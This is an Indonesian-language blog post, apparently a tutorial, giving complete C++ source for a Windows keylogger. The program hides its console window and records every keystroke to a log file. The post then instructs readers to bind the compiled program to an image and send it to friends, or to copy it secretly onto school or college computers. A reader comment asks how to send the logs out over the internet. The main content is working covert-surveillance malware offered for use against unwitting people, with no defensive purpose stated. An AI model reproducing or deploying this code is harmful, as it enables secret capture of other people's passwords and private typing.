Skip to main content

MEMBUAT KEYLOGGER SEDERHANA DENGAN C++

Hai semua, pada kesempatan kali ini saya akan berbagi dan share tentang bagaimana membuat keylogger sederhana dengan C+ +. Kita Langsung Aja Yuk.

Perlengkapan Yang Dibutuhkan:
1. Dev C + +. Kalau belum punya bisa download di http://www.bloodsheed.net/
2. Cukup Paham Dengan Visual C + +

Langkah-Langkahnya:
1. Install Dev C + + kemudian jalankan Dev C + + compiler.
2. Pilih file -> New -> Source File (Akan terlihat lembar kerja kosong)
3. Copy code dibawah ini dan pastekan ke lembar kerja kosong tersebut
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();


int main()
{
Stealth();
char i;


while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}


/* *********************************** */


int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;


FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");


cout << key_stroke << endl;


if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);


fclose (OUTPUT_FILE);
return 0;
}


/* *********************************** */


void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
4. Compile kode tersebut (ctrl+F9)



5. Sekarang coba jalankan program dengan cara, pilih Execute -> Run (ctrl+F10)

Sekarang keylogger Anda akan berjalan di sistem/PC anda. apapun yang Anda ketik menggunakan keyboard, akan disimpan dalam file log.txt.
Anda dapat melihat file log.txt pada tempat dimana Anda menyimpan file.

Mengikat file exe dengan gambar atau file dan mengirimkannya ke teman Anda.
(0r)
jika Anda memiliki akses fisik ke perguruan tinggi / sistem sekolah, lalu salin file exe dalam sistem itu dan menjalankannya.

Hanya itu saja yang bisa saya sampaikan. Semoga ilmu diatas bisa bermanfaat bagi kita semua. Mohon maaf jika ada yang salah.

Comments

  1. This comment has been removed by the author.

    ReplyDelete
  2. This comment has been removed by the author.

    ReplyDelete
  3. :f whah makasih gan. saya jg lagi belajar c++ nih, bbrapa waktu lalu liat dosen buat keylog soal nya, keren. (msih sem II ni..)
    oh ya gan, kalo misal program tsb diletakkan pada komp lain, tp hasil log tetap dikirim ke pc kita lewat internet kira2 bisa ngga ya? lebih rumit ya? hehe.. trims...
    :-g
    trus apakah emang keluar warning sperti ini? :?
    C:\Users\Lorenzo\Documents\Dev-C++\BCS.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

    ReplyDelete

Post a Comment

Popular posts from this blog

DOMAIN (dot)asia HANYA AUD $1

  Di hari ulang tahun nya website Crazydomains yang ke 12 tahun,  crazydomains memberikan paket penawaran harga domain dengan TLD ( Top Level Domains ) (dot)asia hanya dengan seharga AUD $1 ( satu dollar australia ). Tentu saja kurs dollar australia lebih murah di bandingkan kurs dollar amerika. Untuk mendapatkan domain murah (dot)asia ini anda bisa membayarnya dengan menggunakan balance paypal. Dan yang pastinya anda tidak perlu mengisi atau mengharuskan memberi informasi tentang kartu kredit segala macem. Selain memberikan layanan untuk pemesanan nama domain, Crazydomains juga menyediakan sejumlah layanan lainnya, di antaranya adalah layanan Award Winning Logo Design, Cheap SSL Certificates, Professional Web Design, Build Your Own Website, Linux Dedicated Servers, Windows Dedicated Servers, Microsoft Email Exchange, Search Engine Submission dan Fax by Email. Untuk nama domain dengan harga paling murah dan harga ini bukan harga promo, yaitu domain (dot)mao...

COMPUTER MAINTENANCE

Ten Tips to Keep your Computer Running Smoothly 1. Never, never, turn your computer off with the power switch until Windows has shut down . The one exception to this rule is when your computer locks up and your hard drive is not running (hard drive light is not blinking). In this situation, you can turn the power off without harmful effects to the hard drive. As cutting the power can also result in lost data or Windows files, you should only do this when you have to. Following this rule will prevent permanent hard drive defects caused by the hard drive heads contacting the surface of the drive disc, and it will prevent a host of Windows problems. Whenever possible, recover from crashes by pressing the Ctrl + Alt + Delete keys at the same time. Press them again to reboot your computer. 2. I highly recommend that you purchase an UPS (uninteruptable power supply) for your computer. This will keep your computer from crashing during power outages, and will protect your computer from low an...